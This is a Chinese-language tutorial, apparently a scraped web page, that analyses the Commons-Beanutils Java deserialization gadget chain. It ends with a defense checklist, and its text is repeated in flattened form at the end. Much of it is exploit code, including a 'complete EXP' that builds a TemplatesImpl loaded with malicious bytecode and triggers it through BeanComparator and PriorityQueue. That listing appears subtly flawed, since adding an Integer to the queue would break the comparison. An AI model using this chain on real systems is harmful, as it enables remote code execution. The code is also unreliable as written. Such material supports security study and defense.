Java安全 - Commons-Beanutils链
字数 1005 2025-08-19 12:42:36

Commons-Beanutils反序列化链分析

1. Java Bean基础

Java Bean是一种Java类的书写规范,满足以下条件:

  1. 成员变量均使用private关键字进行修饰
  2. 提供构造方法(有参/无参)
  3. 为每个成员变量提供set/get方法

示例:

public class Student {
    private String name;
    private int sid;
    private int age;
    
    public Student(String name, int sid, int age) {
        this.name = name;
        this.sid = sid;
        this.age = age;
    }
    
    public Student() {}
    
    // setter/getter方法
    public void setName(String name) { this.name = name; }
    public void setSid(int sid) { this.sid = sid; }
    public void setAge(int age) { this.age = age; }
    public String getName() { return name; }
    public int getSid() { return sid; }
    public int getAge() { return age; }
}

2. Commons-Beanutils核心功能

Commons-Beanutils提供了对Java Bean的操作工具,核心功能是通过反射动态调用getter/setter方法。

关键方法:

PropertyUtils.getProperty(student, "name");

调用流程:

  1. 调用getNestedProperty
  2. 进入getSimpleProperty
  3. 调用getPropertyDescriptor获取属性描述符
  4. 通过反射调用对应getter方法

3. 反序列化链分析

3.1 利用点:TemplatesImpl

利用TemplatesImpl类的getOutputProperties()方法执行任意代码:

TemplatesImpl templates = new TemplatesImpl();
// 通过反射设置恶意字节码
Field bytecodesField = templates.getClass().getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);

// 设置必要字段
Field nameField = templates.getClass().getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "test");
Field facField = templates.getClass().getDeclaredField("_tfactory");
facField.setAccessible(true);
facField.set(templates, new TransformerFactoryImpl());

// 触发
PropertyUtils.getProperty(templates, "outputProperties");

3.2 反序列化入口:BeanComparator

commons-beanutils中,BeanComparator.compare()方法会调用PropertyUtils.getProperty()

public int compare(Object o1, Object o2) {
    Object value1 = PropertyUtils.getProperty(o1, property);
    Object value2 = PropertyUtils.getProperty(o2, property);
    return internalCompare(value1, value2);
}

3.3 完整利用链

结合CC链的PriorityQueue

  1. 创建恶意TemplatesImpl对象
  2. 创建BeanComparator并设置比较属性为"outputProperties"
  3. 创建PriorityQueue并设置比较器为BeanComparator
  4. TemplatesImpl对象加入队列
  5. 序列化/反序列化触发

完整EXP:

// 创建恶意TemplatesImpl
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);

Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "test");
Field facField = tc.getDeclaredField("_tfactory");
facField.setAccessible(true);
facField.set(templates, new TransformerFactoryImpl());

// 创建比较器
BeanComparator beanComparator = new BeanComparator("outputProperties");

// 创建PriorityQueue
PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
priorityQueue.add(templates);
priorityQueue.add(1);

// 序列化触发
serialize(priorityQueue);

4. 关键点总结

  1. Java Bean规范:必须符合规范的类才能被Commons-Beanutils操作
  2. PropertyUtils.getProperty:通过反射调用getter方法的核心
  3. TemplatesImpl利用:通过getOutputProperties()触发字节码加载
  4. BeanComparator.compare:反序列化入口点
  5. PriorityQueue触发:通过反序列化队列触发比较操作

5. 防御措施

  1. 升级Commons-Beanutils到最新版本
  2. 使用安全防护产品检测/拦截恶意序列化数据
  3. 对反序列化操作进行严格管控
  4. 使用白名单机制限制可反序列化的类

6. 流程图

反序列化PriorityQueue
    ↓
触发compare()方法
    ↓
BeanComparator.compare()
    ↓
PropertyUtils.getProperty()
    ↓
调用TemplatesImpl.getOutputProperties()
    ↓
加载并执行恶意字节码
Commons-Beanutils反序列化链分析 1. Java Bean基础 Java Bean是一种Java类的书写规范,满足以下条件: 成员变量均使用private关键字进行修饰 提供构造方法(有参/无参) 为每个成员变量提供set/get方法 示例: 2. Commons-Beanutils核心功能 Commons-Beanutils提供了对Java Bean的操作工具,核心功能是通过反射动态调用getter/setter方法。 关键方法: 调用流程: 调用 getNestedProperty 进入 getSimpleProperty 调用 getPropertyDescriptor 获取属性描述符 通过反射调用对应getter方法 3. 反序列化链分析 3.1 利用点:TemplatesImpl 利用 TemplatesImpl 类的 getOutputProperties() 方法执行任意代码: 3.2 反序列化入口:BeanComparator 在 commons-beanutils 中, BeanComparator.compare() 方法会调用 PropertyUtils.getProperty() : 3.3 完整利用链 结合CC链的 PriorityQueue : 创建恶意 TemplatesImpl 对象 创建 BeanComparator 并设置比较属性为"outputProperties" 创建 PriorityQueue 并设置比较器为 BeanComparator 将 TemplatesImpl 对象加入队列 序列化/反序列化触发 完整EXP: 4. 关键点总结 Java Bean规范 :必须符合规范的类才能被Commons-Beanutils操作 PropertyUtils.getProperty :通过反射调用getter方法的核心 TemplatesImpl利用 :通过 getOutputProperties() 触发字节码加载 BeanComparator.compare :反序列化入口点 PriorityQueue触发 :通过反序列化队列触发比较操作 5. 防御措施 升级Commons-Beanutils到最新版本 使用安全防护产品检测/拦截恶意序列化数据 对反序列化操作进行严格管控 使用白名单机制限制可反序列化的类 6. 流程图